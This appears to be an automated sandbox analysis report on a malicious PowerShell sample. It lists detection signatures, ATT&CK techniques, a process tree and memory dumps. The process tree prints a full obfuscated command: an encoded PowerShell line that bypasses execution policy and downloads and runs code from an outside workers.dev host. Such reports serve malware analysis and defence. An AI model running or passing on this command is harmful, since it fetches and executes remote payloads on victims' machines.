Analysis
- geolocation tags
- user interaction
yes - max time kernel
134s - max time network
132s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-de - resource tags
- submitted
02/08/2026, 03:03
General
- Target MainPowershell.txt
- Size 636B
- Sample260802-dkcpyacc84
- SHA256 de40502ec5b17036df15245a3b00635b32ff2e15ce91ec376d8fb769d07f7140
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Opens file in notepad (likely ransom note) 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\MainPowershell.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Normal -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==2⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
__PSScriptPolicyTest_pypouc4m.um5.ps1
d93f411851d7c929.customDestinations-ms
d93f411851d7c929.customDestinations-ms
memory/5640-45-0x0000000008660000-0x0000000008680000-memory.dmp
memory/5640-30-0x0000000007F20000-0x000000000859C000-memory.dmp
memory/5640-52-0x00000000054A0000-0x00000000054A8000-memory.dmp
memory/5640-51-0x0000000008A00000-0x0000000008A0A000-memory.dmp
memory/5640-50-0x0000000008A10000-0x0000000008A22000-memory.dmp
memory/5640-49-0x00000000089D0000-0x00000000089E1000-memory.dmp
memory/5640-48-0x0000000008820000-0x000000000886A000-memory.dmp
memory/5640-47-0x00000000087C0000-0x00000000087CA000-memory.dmp
memory/5640-46-0x00000000086D0000-0x0000000008773000-memory.dmp
memory/5640-40-0x0000000008690000-0x00000000086C6000-memory.dmp
memory/5640-41-0x0000000070940000-0x000000007098C000-memory.dmp
memory/5640-42-0x0000000070AA0000-0x0000000070DFB000-memory.dmp
memory/5640-38-0x0000000005400000-0x0000000005442000-memory.dmp
memory/5640-33-0x0000000007E30000-0x0000000007E46000-memory.dmp
memory/5764-17-0x0000000006BA0000-0x0000000006BEC000-memory.dmp
memory/5764-2-0x0000000073F12000-0x0000000073F13000-memory.dmp
memory/5764-6-0x0000000005BE0000-0x0000000005C66000-memory.dmp
memory/5764-31-0x0000000073F12000-0x0000000073F13000-memory.dmp
memory/5764-32-0x0000000073F00000-0x00000000746BC000-memory.dmp
memory/5764-21-0x00000000083B0000-0x000000000896A000-memory.dmp
memory/5764-5-0x0000000005D70000-0x00000000063BA000-memory.dmp
memory/5764-20-0x0000000007120000-0x0000000007142000-memory.dmp
memory/5764-3-0x00000000056E0000-0x0000000005716000-memory.dmp
memory/5764-4-0x0000000073F00000-0x00000000746BC000-memory.dmp
memory/5764-19-0x00000000070A0000-0x00000000070BA000-memory.dmp
memory/5764-18-0x0000000007D50000-0x0000000007DE6000-memory.dmp
memory/5764-7-0x0000000073F00000-0x00000000746BC000-memory.dmp
memory/5764-16-0x0000000006B60000-0x0000000006B7E000-memory.dmp
memory/5764-15-0x0000000006A00000-0x0000000006B04000-memory.dmp
memory/5764-14-0x00000000063D0000-0x00000000063E0000-memory.dmp
memory/5764-13-0x0000000006590000-0x00000000068EB000-memory.dmp
memory/5764-10-0x0000000006520000-0x0000000006586000-memory.dmp
memory/5764-9-0x00000000064B0000-0x0000000006516000-memory.dmp
memory/5764-8-0x00000000063F0000-0x0000000006412000-memory.dmp